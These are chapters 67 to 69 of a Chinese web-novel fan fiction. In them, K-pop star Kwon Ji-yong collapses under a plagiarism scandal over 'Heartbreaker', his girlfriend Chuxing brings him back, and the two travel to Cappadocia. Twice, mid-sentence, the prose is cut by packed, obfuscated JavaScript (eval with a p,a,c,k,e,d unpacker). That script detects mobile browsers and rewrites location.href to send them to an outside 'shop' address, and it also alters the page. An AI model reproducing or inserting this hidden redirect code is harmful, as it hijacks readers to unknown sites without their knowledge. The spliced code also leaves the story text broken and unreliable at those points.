VVVVIP:好了好了,打住打住!这种危险发言我们群里说说就算了!出去可千万不能提!专注事业!期待龙哥炸裂的新专辑!散会! 67.第 67 章 权至龙的首张solo专辑《Heartbreaker》宣传期全面启动。这是他第一次剥离Bigbang的光环,以个人姿态赤站在公众审视的聚光灯下。压力沉甸甸地压在他的肩头,但与之并存的,是亟待证明自我的兴奋感。他都快住进了练习室和录音棚,但无论多晚,都会回到属于他和初星的小窝,那里有温暖的灯光,有她身上淡淡的荼蘼花香,是他高压漩涡中唯一可以喘息、汲取片刻宁静与温暖的避风港。 两人在经历了那次冷战后,关系也被打磨得更加紧密和坚韧。初星也努力在他这场至关重要的战役中扮演着支持者的角色,白天专注自己的设计工作,晚上通过简短的讯息或在他深夜归来时递上的温水,给予无声的支撑。 专辑一经发布就激起了滔天巨浪。主打曲《Heartbreaker》以其极具中毒性的旋律和激烈的电子音效,以及舞台上将华丽与霸道完美融合的、充满冲击力的表演,迅速以碾压之势霸占了所有主流音源榜单的榜首。在打歌节目中,他更是连获一位,锋芒无可匹敌。“权至龙”这个名字,以SOLO歌手的身份再次强势占据大众视线,被誉为天才创作歌手,风头一时无两。 但是,极致的关注也意味着极致的审视。这首歌在引发狂热追捧的同时,也不可避免地招致了诸多讨论和争议。 就在专辑热度与争议齐飞,至龙的个人事业仿佛乘坐火箭般冲向一个新的巅峰时,一场针对主打歌《Heartbreaker》的、毫无征兆的毁灭性风暴,从最意想不到的角度狠狠砸下—— 韩国的音乐论坛上出现了一篇匿名帖子。帖子以看似专业、实则充满引导性的口吻,直指《Heartbreaker》某些旋律,与美国歌手Flo Rida的《Right Round》存在着“令人震惊的相似度”。帖子附上了精心剪辑的音频对比和看似客观的频谱分析图。 “GD抄袭”、“江郎才尽”、“投机取巧”的标签,如同被点燃的野火,借助着权至龙本身的巨大热度,以惊人的速度在网络上蔓延、发酵。 起初,YG公司采取冷处理策略,期望热度自然消退。粉丝们更是倾尽全力控评澄清,强调流行音乐中常见的和弦进程和灵感碰撞现象。但随着越来越多自称“音乐专业人士”的账号下场,进行各种牵强附会的对比分析,舆论的风向瞬间变得对至龙极其不利,甚至上升到了“丢脸丢到国外”的层面。 “权至龙 Heartbreaker 抄袭”“5w人请愿GD自杀”“GD去死”的词条,像某种具有腐蚀性的病毒,疯狂蔓延,压过了所有关于音乐本身的讨论,将他狠狠地钉在了耻辱柱上。 初星是在公司午休的间隙,无意间听到几个同事在议论“GD抄袭”,才惊觉出事了。她慌忙打开电脑网页,就被铺天盖地的负面新闻、对比视频和恶毒诅咒和人身攻击淹没了。她的指尖变得冰冷彻骨,心脏狂跳,几乎无法呼吸。她比任何人都清楚,至龙为这首歌、为这张专辑倾注了多少心血。那些在工作室通宵达旦的夜晚,那些对某个音符、某句歌词反复推敲到极致的偏执,那些因为追求完美而承受的压力……“抄袭”这个罪名,尤其是涉及国际歌曲的指控,对他这样一个视音乐为生命、骄傲到骨子里的人而言,是足以摧毁全部信心的致命打击。 她立马冲出办公室给志龙打电话,但电话那头只有冰冷的关机提示音。 她慌了神,又拨通永裴的电话。电话响了很久才被接起,背景音嘈杂而混乱,永裴的声音传来,异常沉重和疲惫,“……初星啊。” “欧巴!至龙呢?他怎么样?他在哪里?那根本不是抄袭!是污蔑!是有人故意要害他!他知不知道?他……”初星的声音带着无法抑制地颤抖着。 “知道……初星啊,我们都知道,我们都相信他。”永裴重重地叹了口气,那叹息声沉重得仿佛压垮了什么,“但他现在……情况非常不好。从昨天消息爆出来之后,他就把自己反锁在房间里,手机关了,谁也不见,公司代表和经纪人进去,都被轰出来了。他这次……真的被伤得很深,很深。那种眼神……我从来没在他脸上看到过。” 初星的心痛得无以复加,泪水淋湿了双眼,“我……我现在就回去!我上去找他!我必须见到他!”她喊着说出这句话,转身就要往公司外冲。 “别!初星你先别上来!也别回宿舍!宿舍楼下现在全是记者,长枪短炮堵得水泄不通,而且……”他犹豫了一下,有些不忍,“而且以他现在的状态,可能……可能谁的话都听不进去。你来了,万一他也……我们怕你更难受。给他一点时间,也相信公司正在全力处理,好吗?” 永裴的话像一盆冷水,浇熄了初星想冲过去的冲动,但担忧和心痛却更加汹涌。她握着手机,在原地僵立了仿佛一个世纪,所有感官都消失了,只有心脏在胸腔里沉重而慌乱地撞击着。网络那些恶毒的言论和永裴疲惫沉重的语气在她脑子里嗡嗡作响。 不行。绝对不行。 她不能就在这里干等着,什么也不做!记者?堵门?她不在乎了。 她必须到他身边去。现在,立刻,马上! 她猛地转身,没有走向通往宿舍正门、必然被记者围堵得水泄不通的大路,而是拐进了旁边一条不起眼的后勤小巷。那里有一个通常只有住户才知道的、通往地下车库的备用通道入口,平时很少人走,或许能避开大部分视线。 她心跳如鼓,低着头,用最快的速度穿行在昏暗的通道里。幸运的是,或许记者们还未掌握这个偏僻的入口,一路并没有遇到任何阻拦。 从车库内部的员工电梯直接上楼,电梯每上升一层,她的心就揪紧一分,生怕停在中间楼层被记者发现。 “叮”的一声轻响,电梯到达。门缓缓打开,初星快步走进大门没关的宿舍,果然看到里面欧巴们都焦虑地围站在至龙房间门口,经纪人也在,正一脸焦头烂额地对着电话那头解释着什么。 看到初星来,几人同时愣了一下,脸上写满了惊讶。 “怒那?你怎么……”胜利率先反应过来,担忧地问。 “他怎么样?”初星直接打断他,目光越过他,急切地投向那扇紧闭的房门。 永裴摇了摇头,脸色凝重:“还是不肯开门。送进去的水和食物一点没动。”他走近一步,声音压得更低,“社长和几位制作人刚才来过了,在里面谈了将近一个小时,出来的时候……脸色都很难看。情况……可能比我们想象的还要复杂和严重。” 初星走到门前,抬起手,指尖在触碰到门板的前一刻停顿了一下。她想起永裴说的,公司高层的人都被轰出来了,自己现在敲门,会有用吗?会不会反而刺激到他,让他更加封闭? 但仅仅是千分之一秒的犹豫,就被更强大的决心取代。她不能退缩。她坚定地叩响了房门,轻叩声在安静的走廊里清晰地回荡。 里面没有任何回应。 “至龙?”初星脸颊贴近,试着呼唤他的名字,“是我,娜比。你开开门,好不好?让我看看你。” 依旧是一片令人心慌的死寂。 “没用的,怒那,哥他……好像把自己完全锁死了,我们谁叫都没反应……”胜利沮丧地说。 初星没有理会,额头抵在门板上,闭上眼睛,语调放得更柔,却带着穿透一切的坚持:“至龙,我知道你听得见。我知道你现在很难受,很愤怒,觉得整个世界都在背叛你,不公平……这种感觉,我或许不能完全体会,但我能想象得到,那一定痛彻心扉。” 她哽咽起来,带着湿意:“但是求你,别一个人扛着。把门打开,让我看看你,好不好?就算你什么都不想说,就算你只想一个人待着,也让我在旁边陪着你,行吗?至少……让我知道你是安全的。” 门内,依旧没有任何声响,连一丝呼吸的变动都感觉不到。 门外的人都屏住了呼吸,时间在压抑的沉默中流淌,每一秒都漫长得如同酷刑。 就在初星的心一点一点凉下去,眼泪即将决堤的那一刻—— “咔哒。” 门锁弹开的声音传入每个人的耳中。 初星抬起头,不敢相信自己的耳朵。其他人也瞪大了眼睛。 门,并没有被拉开,但那声微弱的响动明确表明——内部的锁扣,被打开了。 他允许她,并且只允许她,进入他的世界,哪怕那片世界此刻正被暴风雨肆虐。 初星没有任何犹豫,压下门把手,小心翼翼地推开仅容一人通过的缝隙,侧身闪了进去,然后反手将门在身后关紧,隔绝了外面所有视线。 房间内没有开主灯,只有电脑屏幕散发着幽幽蓝光,在房间内投下诡谲的色块,以及角落一盏落地灯投下的昏黄光晕。空气中弥漫着浓重的烟味和压抑的气息。 至龙背对着门口,整个人深陷在宽大的黑色电脑椅里,蜷缩成一团,像一只受了重伤后躲进洞穴、拒绝一切外界接触的幼兽。衣服皱巴巴的,头发凌乱不堪,背影透着一股浓重的、几乎要将人吞噬的颓败和绝望气息。地上散落着几张被揉成一团、甚至有些被撕扯过的乐谱草稿,如同他此时破碎的心。 听到她进来,他也没有回头,只是将身体缩得更紧了些,仿佛想把自己完全藏匿起来,隔绝所有光线和声音。 初星的心疼得缩成一团,轻轻走过去,在他椅子旁的地毯上跪坐下来,没有立刻说话,也没有试图去碰触他的肩膀或脸颊,只是伸出手,极轻极轻地覆在他紧紧攥成拳头、放在膝盖的手背上。 他的手指冰凉,并且在无法控制地发抖。 初星的眼泪一下子涌了出来,默默地任由泪水流淌。随后温柔地、固执地,一根根地去掰开他仿佛用尽了全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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YG公司上下笼罩在一片低气压中。社长脸色终日铁青,紧急召集了公关、法务、宣传部门连续通宵开会,商讨应对策略,但面对网络上来势汹汹、且有组织性的舆论攻击,以及某些看似“专业”的带节奏分析,应对起来步履维艰,效果甚微。成员们和身边的工作人员个个忧心忡忡,轮流找机会去劝慰他,给他打气,但得到的往往只是死寂般的沉默,或者是连焦距都没有的眼神。永裴送去的热粥和汤水,往往原封不动地端出来,渐渐变凉;胜利搜肠刮肚讲起的蹩脚笑话,只换来空气更令人窒息的凝固;大声和top则承担起阻挡所有外界不必要电话和访客的任务,为他守住最后一片安静的角落。 只有在初星在场的时,情况会稍稍好一点。 她寸步不离地守着至龙,不再试图用苍白的语言去安慰或开导他,只是像一个沉默的影子,安静地存在于他的空间里。在他一根接一根抽烟时,她会默默起身,将窗户推开一条缝隙,让微凉的新鲜空气流入,驱散一些窒闷的烟味;在他对着屏幕长时间发呆、眼神空洞时,她会适时地递上一杯温度刚好的温水,碰碰他的手背,示意他喝一点。 而其中,最艰难、也最考验她耐心和坚持的,是吃饭。 至龙几乎丧失了所有食欲,送到手边的饭菜,看都不看一眼,她只好强硬起来。 她会定时端来熬得软烂易消化的鸡丝粥或清淡的素汤面,放在他面前。“至龙,吃饭了。”她的声音很轻,像是怕惊扰到什么,却带着温柔的坚持。 最初几次,他毫无反应,如同没有听见。初星也不催促,不生气,就坐在旁边耐心地等待着。过了十几二十分钟,见他还是纹丝不动,她会拿起勺子,舀起一勺,吹凉,递到他的唇边,边缘极轻地碰触他的嘴唇。 “吃点东西,好不好?不然身体会受不了的。” 有时,在经过漫长的僵持后,他会机械地张开嘴,咽下那口食物,然后便紧紧闭上嘴唇,再也不肯张开。有时,他会烦躁地别开头,甚至挥手想要推开,眼底闪过濒临崩溃的暴戾。 每到这种时刻,初星的心都像被刀割一样痛。她会红着眼眶,强忍着不让眼泪掉下来,固执地举着勺子停在半空,声音哽咽却强硬,“就吃三口,好不好?算我求你了,至龙……就三口,吃完我就不烦你了……” 看着她强忍泪水的样子,至龙空洞的眼神里,似乎会掠过一丝难以捕捉的波动,然后,他会极其艰难地、如同完成一项无比痛苦的任务般,再勉强地咽下一两口食物。 每一次喂饭,都像是一场无声的战争。初星用尽了所有的温柔、耐心和坚持,才勉强能让他摄入一点点维持生命最基本所需的能量。他肉眼可见地迅速消瘦下去,脸颊凹陷,颧骨突出,眼下的青黑浓重得像化不开的墨,整个人被一层灰败的阴影彻底笼罩。 身边所有人都将这一切看在眼里,急在心里,却又无能为力。永裴看着初星一次次红着眼睛、端着没怎么动过的食物从房间出来,又换上新的热食进去,只能心疼地拍拍她的肩膀,递上一杯水。 网络上的风暴仍在翻涌,恶意永无止境。而这间昏暗的房间,却像一个被世界遗忘的、冰冷而绝望的角落。初星是这里唯一的光源,微弱,摇曳,却固执地燃烧着,用自己全部的热量,试图温暖那个将自己冰封在深渊里的人。她不知道这场严酷的寒冬还要持续多久,前方是冰雪消融还是更深的极夜,但她知道,她就绝不能先倒下。 68.第 68 章 初星像往常一样,端着切好的水果,轻手轻脚地走进依旧昏暗得如同洞穴般的房间。空气中依旧弥漫着散不去的烟味和一种绝望的气息。至龙蜷缩在地上,背对着门口,眼神空洞地望着窗外被高楼切割成条状的天空,对周遭的一切声响和变化毫无反应。 初星将水果盘轻轻放在他手边的桌上:“至龙,吃点水果好不好?今天的苹果很甜,橙子也很新鲜。” 他没有回应,甚至连睫毛都没有颤动一下。 初星在心里叹了口气,已经习惯了这种沉默。她拿起一小块苹果,递到他有些干裂的唇边,像过去几天无数次重复的那样,准备耐心等待他偶尔机械地张口。 在她的手指靠近他的唇边时,一直毫无动静的至龙,视线无意间垂落,恰好捕捉到了她左手食指和中指上贴着的两张创可贴。 他的目光,顿住了。 涣散空洞的眼神,仿佛被什么东西拽了一下,凝聚起一丝微弱的光。一直如同死水般的空气,似乎开始流动了。 初星察觉到他目光的停留,慌乱地想把手缩回去。 就在她动作的瞬间,一只冰凉的手猛地抬起,精准地、却又带着不易察觉的颤抖,握住她的手腕,阻止她的退缩。 初星浑身一僵,惊讶地看去。 至龙……终于转过头来了。 几天来,他第一次,真正地将焦距对准了她,不再是透过她看向虚无。他的眼睛因为极度缺乏休息和持续流泪而布满骇人的血丝,眼底是深不见底的疲惫和痛苦,但此刻,那潭死水般的眼眸深处,清晰地映出了她的身影,以及一丝……极其微弱的、几乎被绝望淹没的、名为“关切”的情绪火星。 他的嘴唇干裂,开合了几次,才发出生锈齿轮在干涩地摩擦般的沙哑声音: “……手……怎么了?” 初星彻底愣住了,酸涩和惊喜涌上鼻尖,冲得她眼眶发热。她看着他那双终于有了一丝活人气息的眼睛,连忙摇头,想把手抽回来,“没……没什么,就是不小心……” 至龙却没有松开手,反而握得更紧了些,目光固执地停留在那两张小小的创可贴上,眉头因为虚弱和某种情绪而轻微地蹙起,等待着一个答案。他似乎将所有的力气都用来问出这句话和抓住她了。 在他的注视下,在他那双仿佛能看穿一切伪装的、带着脆弱却执拗的眼神下,初星只好小声地、实话实说:“就是……切水果的时候,有点走神……不小心划到了了一下。真的没事,都快好了,一点都不疼了。” 至龙的目光从创可贴缓缓上移,深深地望着她,仿佛想从她强装无事的面容里,读出所有她未曾说出口的煎熬。 他看到了她眼底无法掩饰的疲惫,看到了她明显瘦削了的脸颊,看到了她因为照顾他而顾不上打理、有些凌乱的头发。 一种比被全网诬陷抄袭更深、更尖锐、更带着血腥味的痛楚,刺穿了他麻木的心脏。 他因为他自己的痛苦和自我放逐,完全忽略了她也在同步承受着怎样的煎熬和折磨。他甚至……让她受了伤。 握着她手腕的手指微微收紧,又害怕弄疼她立刻松开了些,只剩下轻柔的触碰。他极其缓慢地、艰难地抬起另一只手,极轻地碰了碰那创可贴粗糙的边缘,仿佛在触摸一件易碎的珍宝,又像是在确认一个让他心痛的事实。 长时间的沉默后,他再次开口,声音破碎得不成样子,带着浓重的鼻音和再也压抑不住的、从胸腔深处涌上的哽咽: “娜比……”他唤她,眼泪大颗大颗地从他通红的眼眶里滚落,“我……别人在睡觉、在玩、在享受生活的时候……我都在写歌……睡不着觉也在写……一遍遍地改……” “我很好奇……我到底做错了什么?我到底有哪里那么叫人讨厌?为什么……为什么他们都要那样说我?我有在非常努力……非常非常努力了……拼尽了全力……” 他的哽咽得几乎说不下去,缓了一口气,卑微的祈求,“可不可以……试着多喜爱我一点呢?哪怕……只是一点点……一点点认可也好……” 初星再也忍不住,扑上前,紧紧抱住他颤抖得如同风中落叶的身体,哭喊着打断他,“不要听!不准再听那些了!也不要看!至龙!你看着我!看着我就好了!” 她用力捧起他泪流满面的脸,强迫他涣散痛苦的目光聚焦在自己的眼睛上,声音因为哭泣而断断续续,却异常坚定,“真正爱你的人不会离开的!永远不会!我也不会!而且你没有错!一点都没有!你一点也不讨厌!你是最好的!那些歌都是你熬了无数个夜晚辛苦写出来的,我比谁都知道!你写的每一个音符,每一句歌词,我都记得!你是最好的权至龙!全世界最好的!” 至龙在她坚定的呼喊和温暖的怀抱中,像是终于找到了支撑,反手死死地抱住她,脸深深埋进她的颈窝,像一个在黑暗冰冷的海水里挣扎了太久、终于抓住救命绳索的迷路者,像一个受尽委屈终于找到家的孩子,放弃了所有伪装和强撑,失声痛哭起来。积压了多日的痛苦、委屈、绝望和愤怒,在这一刻彻底爆发。 昏暗的房间内,只剩下两人交织的哭声。但这一次,不再是绝望的冰封和死寂,是坚冰终于破碎融化,伴随着剧烈的疼痛,带来了重新呼吸、重新感知世界的可能。初星紧紧抱着他,一遍又一遍重复着:“我在……我在这里……我爱你……我陪着你……一直都在……” 不知过了多久,至龙的哭声渐渐平息,变成了断断续续的抽噎,身体也不再颤抖,只是依旧死死地抱着初星,全身的重量都依靠在她身上,仿佛她是茫茫大海中唯一的浮木。 初星的肩膀被他哭湿了一大片,只是有一下没一下地拍着他的背,安抚着他,给予无声的支撑和安全感。 又静默地相拥了很久,久到窗外的天色都开始微微转暗,至龙才抬起头。他的眼睛肿得像两个核桃,脸上满是泪痕,看上去狼狈又脆弱,但眼睛里沉重的死寂感,却消散了许多。 他看着初星同样红肿的眼睛和自己在她衣服上留下的湿漉漉的“杰作”,嘴唇动了动,想说什么,却只是伸出手指,碰了碰她的眼角,拭去一滴将落未落的泪珠,哑声道:“……对不起。” 对不起,让你担心了。 对不起,让你这么辛苦。 对不起,弄脏了你的衣服。 对不起,刚才……失态了。 初星抓住他的手,认真的摇头,“不准再说对不起了。” 她端详着他的脸,“你饿不饿?哭了这么久,消耗很大的。我去给你热点粥好不好?就吃几口?永裴熬了你最喜欢的南瓜粥,很甜很糯的。” 这一次,至龙没有再拒绝。他沉默了几秒,然后,点了点头。 初星的心落回到实处,慢慢地从他依旧有些依赖的怀抱里站起来,语气带着雀跃:“你等着!我马上就好!很快的!” 她快步走出房间,门外,永裴、TOP、大声和胜利都守在客厅,或坐或站,显然刚才里面那场惊天动地的痛哭他们都听到了。见初星出来,四人都投来询问的眼神。 初星对着他们,露出了这么多天以来第一个真正轻松的笑容,虽然眼睛还红着,但那笑容里带着光,“他肯吃东西了。” 四人肉眼可见地松了一口气,紧绷的肩膀垮了下来。胜利甚至夸张地拍了拍胸口,双手对着天花板拜了拜,无声地做了个“谢天谢地”的口型, 至龙还是安静地坐在那里,目光游离,听到开门声,视线转向初星,静静地看着她走近。 初星把托盘放在他面前的小桌子上,将勺子和粥碗递给他。 至龙沉默地接过,手指还有些无力,抖动着,舀了一勺粥,动作缓慢地送入口中。他吃得很少,很慢,咀嚼得很仔细,但每一口都认真地咽了下去。 初星就坐在旁边看着他,没有催促,也没有再多说话。 一碗粥吃了将近一半,至龙放下了勺子。 初星凑过去,脸上露出明媚的笑容,像夸奖小朋友一样,声音柔软又带着鼓励:“真棒!我们至龙今天吃了好多呢!比昨天进步太大了!” 说完,她自然地倾身,在他还有些苍白的脸颊上亲了一下。 这个突如其来的、带着奖励意味的亲吻和夸奖,让至龙愣了一下,苍白的脸颊泛起一丝极淡的、几乎看不见的红晕。他有些无措地垂下眼帘,手指下意识地蜷缩了一下,握紧了勺子。 “饱了吗?”初星像是没注意到他这细微的窘迫,笑眯眯地问。 至龙点了点头。 “再喝点温水?”初星把水递过去。 他接过来,小口地喝了几口。 虽然只是简单的进食动作,在此刻却显得无比珍贵和来之不易。 初星知道,心结不是一下子就能彻底解开的,外面的风暴也远未平息。但至少,他肯开口说话,肯主动进食,肯让她靠近,愿意接受她的触碰和关怀,这就是他迈出的最重要的一步。 她收拾好碗筷,准备起身离开:“我就在外面客厅,你需要什么就叫我,我随时都在。” 至龙却突然伸出手,拉住她的衣角。 初星停下脚步,回头看他。 他没有抬头,眼睛低垂着落在她的衣角上,声音沙哑,却带着一丝不易察觉的依赖:“……别走太远。” 初星的心因为至龙的请求,软成一滩水。她放下碗筷,直接拉起了他微凉的手。 “地上凉,坐久了不舒服,”她带着点撒娇的意味,语气里还有理直气壮的娇蛮,“而且,因为你,我都好几天没睡好一个整觉了,黑眼圈都快掉到地上了!你看你看!” 她故意凑近指着自己的眼睛,“你要补偿我,陪我躺一会儿,我现在就要睡觉。” 说着,也不等至龙回应,就牵着他,走向房间里并不宽敞的单人床。床不大,但对于某个想紧紧依靠对方、汲取温暖和安全感的人来说,刚刚好。 至龙顺从地跟着她,任由她安排。像一只在暴风雨中淋得透湿、筋疲力尽后终于找到干燥温暖洞穴的小动物,急需一个可以安心栖息、感受体温的地方。 两人挤在略显狭窄的单人床上,初星窝进他怀里,找到最舒服的位置,发出一声满足的喟叹。至龙的手臂僵硬了片刻,随后缓缓收紧,把她整个人圈进自己怀里,下巴抵着她的发顶,嗅着她身上熟悉的气息猛吸了一口。 “至龙,”初星的声音带着浓浓的困意,在他胸口闷闷地响起,“我们过几天……出去旅游吧。” 至龙没有回答,还沉浸在令人安心的香味中,没有完全抽离。 初星不满地戳了戳他瘦削的胸口,“你明明说好了的!出道赚了钱就带我去环游世界,结果到现在都没有实现!大骗子!说话不算话!” 至龙的手臂又收紧了些,沉默了几秒,仿佛在积攒力气,才低声回应,“好。你想去哪里?” “不去济州岛,太近了,没意思,跟在家门口溜达似的。我们去土耳其吧!我想坐热气球,在几百米的高空看日出!还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894572|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看那个雪白的棉花堡,还有那个……那个有很多彩色玻璃、超级漂亮的大教堂!” 她抬起头,眼睛在昏暗的光线下亮晶晶地看着他,“好不好?就我们两个,谁也不带,手机也关掉,让他们谁都找不到我们!就我们俩,安安静静的。” 至龙低头看着她眼中闪烁的光彩,点头:“好,就去土耳其。我让经纪人安排。” “耶!至龙最好了!”初星开心地低呼一声,在他下巴上响亮地亲了一下,“最喜欢至龙了!” 至龙忍不住也勾起了嘴角,虽然弧度很浅,却是这么多天以来,第一个近乎笑容的表情。 初星重新窝回他怀里,开始兴奋地规划,“我们以后要去好多好多地方!去看北极的极光,去非洲看动物大迁徙,去南极看胖乎乎的企鹅!要拍好多好多照片,把家里一整面墙都挂满我们的回忆!” 她说着,又轻轻戳了戳他,发出命令:“所以你要努力赚钱,知道吗?赚很多很多钱,然后我们买个大大的房子!” “我要住高层,不要住别墅,别墅太空旷了,晚上我会害怕。就要那种能俯瞰整个首尔夜景的大平层!视野超棒的那种!” “就像我们之前说好的那样,新家要我来设计!你不准插手!我要弄一个超大的、能跑步的衣帽间,一个能看到日落的浴缸,还要给家虎弄一个超级舒服的窝……” 她絮絮叨叨地说着,描绘着一个遥远却无比清晰、充满了生活细节和彼此承诺的未来。每一个字句都洋溢着对生活的热爱和对两人共同未来的无限向往。 至龙静静地听着,将她搂得更紧,仿佛要将她融入自己的骨血。那些关于未来的蓝图,像是一针强心剂,注入他几乎枯竭的心脏,带来了久违的暖流和力量。外面的风暴和恶意暂时远去了,被怀里这个人为他构建的、温暖、坚实而充满希望的港湾所取代。 “好,”他闭上眼,声音无比坚定,带着承诺的力度,“都听你的。努力赚钱,买大房子,你来设计。” 疲惫再次袭来,初星絮絮叨叨的规划声低了下去,变成了均匀而绵长的呼吸声。连续多日的担忧和守护在此刻彻底放松下来,她窝在至龙渐渐回暖的怀里,攥着他衣角的手指微微松开,沉沉睡去。 至龙却没有睡着。 他听着怀里人安稳的呼吸声,感受着她胸腔规律的起伏,某种沉静的情感慢慢取代了之前的痛苦和迷茫。 他极轻地调整了一下姿势,让她睡得更舒服,然后小心翼翼地抽出被她压住的手臂,动作轻柔地起身,没有惊醒她分毫。 走到窗边,无声地拉开一点百叶窗,俯瞰着脚下车水马龙、灯火璀璨的首尔。这座城市曾经承载了他最璀璨的梦想和荣光,也给了他最沉重、最无情的一击。那些闪烁的、遥远的灯光里,不知道有多少屏幕后面,还在闪烁着关于他的恶意讨论和诋毁。 但此刻,他的心情却奇异地平静下来。 他回头看向床上蜷缩着安睡的初星。 因为她,他不能倒下。因为她描绘的那个充满阳光和爱的“家”,他必须站起来,更强大、更坚韧地站起来。 他走到书桌前,打开台灯,将光线调至最暗,拿出了那本被他揉皱又抚平、边缘还带着泪痕的歌词本,翻到空白页。 笔尖落在纸面上,发出细微的沙沙声。 这一次,流淌出的旋律雏形和词句片段,不再充满自怨自艾的阴郁,不再是痛苦迷茫的呓语。它们带着劫后余生的坚定,带着想要紧紧抓住所爱之人、为她抵挡一切风雨的力量,带着对未来的郑重承诺和炽热渴望。 他写下的,是黑夜之后的破晓,是废墟之上重建的勇气,是想要为她、也为他自己,撑起一片晴朗天空的决心。 偶尔,他会停下笔,抬起头,望向熟睡的初星,从她那里汲取着无尽的勇气和灵感。然后再次低头,将胸腔里汹涌澎湃的情感,转化为一个个有力的音符和文字。 时间在笔尖的沙沙声中悄然流逝,窗外的黑暗渐渐褪去,东方天际泛起鱼肚白。 初星在晨光中迷迷糊糊醒来,下意识地往身边摸索,却摸了个空。她瞬间惊醒,坐起身,“至龙?” “我在这里。”低沉而平静的声音从书桌方向传来。 初星循声望去,至龙正坐在书桌后,温暖的阳光勾勒出他专注的侧脸。 他看起来还是很疲惫,但气场已经改变,那种窒息的绝望和破碎感似乎消失了,整个人沉了下来…… “你……一夜没睡?”初星担心地问,掀开被子下床走过去。 至龙放下笔,在她走近时伸出手,把她拉到自己腿上坐下,环抱住她的腰,脸埋在她身体里,到处嗅着。 “睡了一会儿。想了想事情。” 初星搂住他的脖子,“想什么?” 至龙抬起头,目光深邃地凝视着她,怜惜地拂过她还有些红肿的眼皮,“想怎么努力赚钱,买能看到整个首尔夜景的大平层,带你去环游世界,看极光,看企鹅。压力好大啊~” 初星被他这话逗笑了,心里暖洋洋的。 她知道,她熟悉的那个至龙——那个骄傲的、不服输的、会对着她耍赖撒娇的权至龙,从痛苦的废墟里重新站起来了。 “那就好好努力吧,权至龙先生。”她亲了亲他还有些干涩的嘴唇,“我的设计费、旅游基金,还有未来房子的装修款,可是都很贵的哦!” “内~遵命。”至龙笑着回应这个吻,收紧手臂,把她牢牢锁在怀里。 69.第 69 章 九月的土耳其,卡帕多奇亚,凌晨的空气清冽干燥,带着能刺透骨髓的干冷。每一次呼吸,鼻腔里都满是荒漠特有的、混合着沙尘与枯草的粗粝气息。天色仍是浓稠的墨蓝,只有东方地平线透出一丝极细微的灰白。巨大的热气球分散在空旷的平地上,燃烧器不时喷出火焰和轰鸣声,映亮周围奇形怪状的岩石剪影,宛如异星登陆现场。 初星裹着厚厚的羊毛披肩,还是忍不住跺了踱脚,往身边的热源紧紧靠去。 “权至龙……我的脚趾头都快冻僵了……我们是不是来太早了?这太阳……真的会出来吗?”她的声音带着刚睡醒的沙哑和明显的抱怨,手臂却更紧地环住了他的腰,脸埋在他胸膛上,汲取着他透过衣物传来的体温。 至龙穿着深灰色的冲锋衣,拉链严实地拉到了顶端,遮住了小半张脸。脸颊红润,但凌晨的低温还是让他看起来有些单薄脆弱,眼底深处那抹不易察觉的疲惫,在曦微的晨光中似乎又被放大了些许。 他张开双臂,将她更彻底地裹进自己怀里,用身体为她挡住吹来的冷风,下巴蹭着她冰凉的额发,“会出来的。等待越漫长,破晓的那一刻,才越珍贵。” 他的手掌覆在她手背上,用力地搓揉着,“再忍耐一下,娜比。当阳光照在你身上的时候,你会觉得,之前所有的寒冷,都是值得的。” 工作人员示意登篮。至龙先一步进入,伸出双手把初星拉进去。吊篮内空间并不宽敞,还有其他几位游客,空气中弥漫着一种混合了期待、寒冷和轻微紧张的沉默。 “点火!快点火呀!”初星看到飞行员开始操作,兴奋地低呼起来,暂时忘记了寒冷,像个即将踏上冒险旅程的孩子,双手扒着粗糙的柳条篮筐边缘,眼巴巴地仰头望着上方那个尚未完全饱满的、色彩斑斓的球体。 随着燃烧器发出持续而剧烈的咆哮,喷出灼热的烈焰。热气球猛地一震,随即开始垂直上升。 奇妙的失重感瞬间攫住了初星的心脏,她下意识地惊呼一声,紧紧闭着眼,身体微微后仰,手指条件反射般地紧紧抓住了至龙结实的小臂。 “别怕。”至龙的声音在耳边响起,他侧过身,手臂绕过她的后背,手掌扶住她的腰侧,把她圈进由他和坚实篮筐构成的空间里。 他的胸膛紧贴着她的后背,她感受到他平稳的心跳透过衣物传来,一下,又一下,有力地敲击着她的背脊,奇异地抚平了她。 “看着我,或者看着脚下。”他引导着她。 初星依言,鼓起勇气睁眼望向篮外。脚下漆黑的大地正在以一种庄严的速度远离他们。那些在平地上看来雄伟奇特的石林、深邃的峡谷,逐渐缩小、变形,最终化作一幅巨大而抽象的、充满神秘线条的沙盘模型。蜿蜒的沟壑如同大地上深刻的皱纹,记录着亿万年的沧桑。一种超越了人类尺度的、宏大而苍凉的美感,混合着对自然造物主的敬畏立刻淹没了那点小小的恐惧。 她睁大了眼睛,瞳孔中倒映着这片魔幻的土地,发出叹息般的低语:“太……不可思议了……这简直不像地球……” 热气球持续而稳定地攀升,平稳地升向逐渐明亮起来的天空。至龙的目光也投向远方,那片天地相接之处。 东方的天际线,那抹最初的灰白悄然发生着变化。它如同滴入清水中的一滴浓缩的颜料,开始缓慢地、不可阻挡地晕染开来。颜色先是变成了极其淡雅的、少女脸颊般的绯红,接着又融入了温暖的橙黄,最后,一抹耀眼的金色如同利剑的锋刃,骤然出现在地平线上,将周围的云彩都镶上了灿烂的金边。 至龙静静地凝视着这一切。连日来,不,是近几个月乃至更久以来,积压在胸腔里的那口浊气——那些被质疑的愤怒、被否定的委屈、深夜无人时的自我拷问、以及几乎将他压垮的沉重压力仿佛随着这不断上升的高度和眼前宏大的天象变化,被一点点地抽离、稀释。 